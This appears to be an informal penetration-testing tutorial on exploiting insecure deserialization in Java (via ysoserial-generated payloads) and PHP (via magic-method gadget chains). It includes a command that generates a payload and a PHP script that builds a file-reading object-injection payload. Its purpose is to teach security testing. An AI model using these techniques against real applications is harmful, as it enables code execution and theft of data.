Serialization (aka marshaling) = process of converting programming object to string.

Deserialization (aka marshaling) = process of converting string to programming object

Serialization is supported is many programming languages, like Java, Python, Ruby, Php.

Burp Suite is looking for deserialized objects in its passive scan (you can see this if you go to scanning ooptions and look for "serialized objects in HTTP message". Exactly how it does this is unclear. I have seen it identify a PHP serialized object.

Serialization is often times done in order to be able to send the object, over the network, for example. Or so that it can be stored. Both JSON and XML are example of serialized data.

Java deserialization attacks

Anything can be serialized, it doesn't have to be an object. It can be a string, boolean, function, etc. The difficuly of exploiting deserialization bugs is that you can never introduce code. You will only be able to control the properties of already existing objects. That is why it is called POP-gadget, property-oriented-programming. This difficuly is in part overcome due to the fact that many applications load in libraries where useful classes exist. That is what ysoserial does. It just creates payloads that can be used if a specific library exists, and then you just test all of them. It is kind of a shot gun approach.

So, unles you have access to the source code your best bet is probably to just use the shotgun approach and send in all ysoserial payloads, and hope that the application has included one of ysoserial third-party libraries. However, it should be noted that testing all payloads might lead to an unhandled exception and the application might crash. So there is always that risk involved.

The ysoserial payloads are blind payloads, and not command output is returned.

Identify

WIth the source code / white-box

In source code:

You can check the source code to find out if a vulnerable library is being used.

The functions to serialize or unserialize in Java is

Here is an example, where we serialize the string "name", and write the output to a file called file.bin. The function that actually serialize the object is `out.writeObject(name)`

```
 import java.io.*;

public class Serial
{
    public static void main(String[] args)
    {
        String name = "Nytro";
        String filename = "file.bin";

        try
        {
            FileOutputStream file  = new FileOutputStream(filename);
            ObjectOutputStream out = new ObjectOutputStream(file);

            // Serialization of the "name" (String) object
            // Will be written to "file.bin"

            out.writeObject(name); //Here is the serialization. The serialized object is written to the file file.bin

            out.close();
            file.close();
        }
        catch(Exception e)
        {
            System.out.println("Exception: " + e.toString());
        }
    }
}
```

The result of the code is that the object is written to a file, if we look at the content of that file it shows us the following:

```
AC ED 00 05 74 00 05 4e 79 74 72 6f            ....t..Nytro
```

This is just like a a PHP serilaized object, but the "syntaxt" to read it is a bit more difficult, because it is binary and not only ASCII as in PHP.

Data starts with the binary "AC ED" - this is the "magic number" that identifies serialized data, so all serialized data will start with this value Serialization protocol version "00 05" We only have a String identified by "74" Followed by the length of the string "00 05" And, finally, our string

For more documentation on the protocol on serialized objects see: https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html

So, how to we deserialize it again?

Just as `writeObject()` serializes an object `readObject()` deserializes the object.

```
 String name;
String filename = "file.bin";

try
{
    FileInputStream file  = new FileInputStream(filename);
    ObjectInputStream out = new ObjectInputStream(file);

    // Serialization of the "name" (String) object
    // Will be written to "file.bin"

    name = (String)out.readObject();
    System.out.println(name);

    out.close();
    file.close();
}
catch(Exception e)
{
    System.out.println("Exception: " + e.toString());
}
```

It is not only `readObject()` that is vulnerable. The following methods are some that also deserializes an object:

```
 readResolve
readExternal
readUnshared
XStream
```

So, in order to identify deserialization vulnerabilities we need to identify an entry point, and code snippets/objects that we can manipulate the properties of.

Entry point

We can look for the usage of the following class:

```
 java.io.ObjectInputStream
```

Or for classes that are serializeable and implekentn the readObject class.

Serialized java objects always begin with `ac ed` in hex, and `r00` in base64 objects.

Without source code / black box

`ac ed` is the "magic number" for deserialized objects. Check the POST body or other areas for the base64 string `r00AB`. If it is not base64 encoded, it will looke like something with non-printable characters, and it might include stuff like `/java/lang/string` and things like that.

It might look something like this:

```
¬í..sr..LogFile×
```

You can also look for the following content-type: `application/x-java-serialized-object`

https://blog.netspi.com/java-deserialization-attacks-burp/

Example of vulnerable servers: WEbLogic WebSphere Jboss I JBoss 6.1.0 applikationer så är det sårbara URL:en `/invoker/JMKInvokerServlet`. Jenkins Soffid IAM

Serialized java objects can be found in HTTP Request parameters, view state or cookies.

Exploit

Okay, so you have identified where the application is receiving serialized java objects. As i mentioned before, you will only be able to exploit it if the application is compiled with classes that can cause harm. How will you know that if you are black-box testing? Well, you don't. So you just test every single payload possible. Luckily there are common libraries that have vulnerable classes that are known, so if the target application is compiles with those libraries it is possible to exploit.

A common way to produce the exploits is by using the tool ysoserial. It can be found here:

https://github.com/frohoff/ysoserial If you want to compile it yourself you just need to download the source-code.

```
 apt install maven
apt  install openjdk-8-jdk
mvn clean package -DskipTests
```

Otherwise you can just download the jar-file and hope that it is not tampered with. You generate your payload like this:

```
 java -jar ysoserial-0.0.5-all.jar Groovy1 "touch /tmp/poooooowdn" > payload.txt
```

You have to check the help section to see what payloads are avaiable. There is a also a burp plugin that will generate and test the payloads.

Anyways, I just wanted to explain a little bit about how these payloads actually work.

So, the only thing an attacker can control is which object to send, and the properties of that object.

PHP deserialization attacks

In order to turn an object into a string in PHP you can use

```
 serialize()
```

This can be exmplified like this

```
 <?php
$the_array = array("lorem", "ipsum", "Dolor");
$serialized = serialize($the_array);
print $serialized;
?>
```

```
 // the following will be printed:
a:3:{i:0;s:5:"lorem";i:1;s:5:"ipsum";i:2;s:5:"Dolor"}
```

It is pretty simply to decode: array containing 3 elements `a:3` index 0, string with five characters, which are lorem `i:0;s:5:lorem` etc.

Unserialize does the same thing, but the other way around. It takes serialized strings and turn them into objects.

```
 $theobject = unserialize('"a:3:{i:0;s:5:"lorem";i:1;s:5:"ipsum";i:2;s:5:"Dolor"}');
```

Magic methods

Okay, but let's say that we can send in a serialized object to have it unserialized. What can that even do? How can the code be executed?

Enter PHP autoloading. PHP objects/classes can have methods that are automatically executed when the class is initialized. These automatic functions are sometimes called magic method. THe following are examples of some magic methods. Remember that there is not guarantee that a class has these magic methods. But if the class do have it they will automatically execute.

So if the class has any of these methods they will be run when the class is initilized, for example by doing:

```
 <?php
$newinst = new LoggerClass();

//Or when deserializing an object

$serializedObj = serialize($newinst);

unserialize($serialized)
```

```
__construct()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__sleep()
__wakeup()
__toString()
__invoke()
__set_state()
__clone()
__autoload().
```

The most common methods are `__construct`, `__destruct`, `__wakeup` However, there are many more.

When you run `unserialize()` the object is instatiated. It is the same as running `new class()`.

So, in orderto exploit the vulnerability, we need the following requirements:

1. The application must recieve a serialized object somewhere from the user. From a GET or POST parameter for example, or in a Cookie.
2. The PHP file where the unserialize-function is executed must contain a useful class, or import a class that is useful.
3. The useful class must contain a magic function that perform the useful action, such as writing to disk.

A common magic method is destruct. It is run when the obejct is terminated. A common usage for it, is to be used to store cache files on disk, or stuff like that. Or perform shutdown queries to a database for example.

```
__destruct()
```

Exploit

Exploiting PHP serialization attacks is quite difficult if you don't have access to the source code, because you don't know what classes are available.

In order to exploit a PHP deserialization attack the following requirements are necessary:

- The application must unserialize data that can be controlled by the attacker.
- The application must have a class which implements the PHP magic methods `__wakeup` or `__destruct`. Or any other magic method.
- The class with the magic method needs to be included in the file where the unserialize is happening.
- The class must do something that can be of interest to the attacker, such as writing to disk, so you can upload a shell.

Step 1 - find unserialize

Burp will look for strings that might be serialized. So check your passive scanner in burp, it says something like "Serialized object in HTTP message".

Check for strings that look like this:

```
s:1:"s";s:13:"Hi  this test  ";
```

However, it is more likely that the serialized object is actually base64-encoded, so decode all base64-encoded data you find.

With source-code: If you check the source-code looks for:

```
unserialize()
```

If you see that function in the source-code, look to see if user-controlled data is sent to the `unserialize()` function.

Just search all the source files for `unserialize`, in wordpress it may also be called `maybe_unserialize`.

Now, you also need to find out if the input parameter to unserialize can be controlled by the attacker. Find out where it comes from.

Step 2 - Find a class to abuse

Okay, so you have found a point where attacker-controlled data is sent to `unserialize()`. Now we need to find a class that is: - A. Contains a magic function. - B. Performs an action that is desirable to the attacker (such as writing to disk) - C. Available to use - D. Build payload

So in what end do we start? We can start in different ends, either by searching the source-code for magic functions, or search the source-code for useful functions and hope that they are executed from a magic function.

A. Contains a magic function

Maybe start looking through the source-code for functions like:

```
__construct
__destruct
__wakeup
```

B. Performs an action that is desirable to the attacker

When you have identified a class containing a magic function you need to see if the magic function performs an action that is desirable to the attacker. Remember that the attacker can controll all properties in the class. A common function to be abused is for a class to write error messages to log files. The `file_put_contents`-function could be in another function that is called from `__destruct`. An example of such a class would be the following:

```
<?php
class Logger(){
    $stringLogfile;
    $stringLogtext;

    public function __destruct()
    {
        file_put_contents($stringLogfile, $stringLogtext, FILE_APPEND);
    }
}
?>
```

Remember that what is a desirable function may vary, of course it would be great to write to files or execute commands. But it could be any other type of action, such as deleting a file, or writing to a database. Or making a request somewhere.

But here are some well known desirable functions to search for:

```
File Access:
file_put_contents()
file_get_contents()
unlink()

Command execution:
exec()
passthru()
popen()
system()
```

C. Available to use Now we have identified a class which contains a Magic function that performs an action that is desirable to us, now we only need to make sure that is is available to us. This will require you to go from the source-file where the unserialize-function is executed backwards to see if the usable class is included. Remember that classes are included recursivly. So if your source-file your have:

```
<?php
//My vulnerable class
include_once("someotherclass.php")


unserialize($COOKIE->"USER")
?>
```

You need to check out `someotherclass.php`

```
<?php
//someotherclass.php

require("moreclasses.php")
include_once("evenmoreclasses.php")
?>
```

```
<?php
//moreclasses.php
?>
```

If you don't feel like doing this type of analysis, you can just hope that all files are included, something which is not uncommon, and just run your exploit and hope for the best.

D. Build payload

It is a tedious work to actaully build the serialized string by hand. So a better way is to have PHP do it. Just copy the entire class, edit the properties that you need to use, serialize it and then base64-encode it, if that is required. If you get errors when you serialize the class it might be because the code is referencing other classes, you can sometimes fix this simply by removing that code.

Here is an example of a class, and how to produce a serialized object of it. REMEBER to URL encode the payload before you send it, or base64-encode it if that is required:

```
 // testfil.php
<?php
class JustTesting {
    var $file = "/path/to/file.php";
    public function __destruct(){
        echo file_get_contents($this->file, TRUE);
    }
}

$newTest = new JustTesting();

echo serialize($newTest);
?>
```

```
 apt install php-cli

php -f testfil.php
```

Now you just copy the payload and send it in.

Blackbox

So, as an attacker you can't know what classes are included, what classes are available to you. However, if the application is built using framework. Such as composer, composer will include all all composer libraries. So you might find a class from any of those libraries.

See this: https://insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf